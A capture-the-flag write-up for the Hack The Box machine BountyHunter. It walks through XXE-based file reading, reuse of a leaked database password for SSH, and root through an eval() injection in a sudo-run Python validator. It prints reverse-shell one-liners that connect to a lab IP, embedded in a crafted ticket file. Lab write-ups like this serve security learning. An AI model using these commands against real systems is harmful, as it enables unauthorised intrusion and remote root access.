Link: https://app.hackthebox.eu/machines/BountyHunter
Enumeration

We have an ssh server open on port 22 and a web server on port 80. Performing a searchsploit on the available versions gives no meaningful results.
Web Server
First navigating to the website takes us to a basic webpage using the Start Bootstrap – Freelance v6.0.5 template. The contact form is not setup to actually collect the information. Download the pricing sheet also goes nowhere.
There is a /portal.php page with a /log_submit.php link. I also ran gobuster and found /assets and /resources have directory indexing on so we can look inside. I found this /resources/README.txt which may be of use:
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
There is also a /resources/bountylog.js which is used with log_submit.php. It seems interesting because it sends a base64 encoded payload of the form xml to returnSecret. This function calls a /tracker_diRbPr00f314.php:

The returnSecret just fills back in an HTML table with the data from the XML form:

Using a list of XXE Injection payloads, I determined we can read arbitrary files on the system. By base64 encoding the following payload, I get the output of /etc/passwd:

I wrote a quick python script to be able to inject the entity via parameter like so:

But really the only interesting file I found was /etc/passwd. Inside of this file we can see a user of development.
I was at a deadend so I ran another gobuster scan with -x 'php' and found a db.php file. Using my above script like so:
python3 xxe.py php://filter/read=convert.base64-encode/resource=/var/www/html/db.php
We get some credentials!
<?php
//TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Using the user of development we found from the /etc/password file and the above password for the database, we can ssh in!
PrivEsc
With access, I ran ls and grabbed the user.txt. There is also an contract.txt which mentions we were given permisions for an internal tool. Running sudo -l shows us the location of the tool, we have admin rights with no passwd over the tool:

Checking the permissions, we can only read the file, or execute as root.
cat the file out, we can see it is looking for a certain format of .md file for ticket validation. Some examples of failed ones are in /invalid_tickets
Here is the code for the validator:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Looking over the code, we need to get all the way down to this line:
validationNumber = eval(x.replace("**", ""))
Then we can exploit the eval() statement to call a reverse shell as root. eval would need to try to run this:
__import__('os').system('nc 10.10.14.138 4444 -e /bin/bash')
Next I crafted a ticket to pass all the checks, and pass a reverse shell I used from here.
# Skytrain Inc
## Ticket to Root
__Ticket Code:__
**32+__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.138 4444 >/tmp/f')
It took several different tries (I couldn’t spawn /bin/bash or use nc -e or nc -c) but this finally works and our nc listener is root! The flag is /root/root.txt
Conclusion
Actually getting access to the machine stumped me at first, it required me to go back and enumerate further with gobuster. I already found the XXE exploit for /etc/password pretty easily. The README.txt clued me in that there must be a database configuration file, so I was lucky enough to find the configuration with a .php extension. Also luckily the user account reused the same password as the database.
Getting root was far easier to me, the fact sudo -l returned a python script, I knew this was the way in, and seeing eval() I know that was the exploit. This article taught me about the __import__('os') trick for importing a library when it does not exist, which I used to call a system shell.
It was pretty enjoyable and helped me think harder about enumeration and had me trying several different things to get both flags!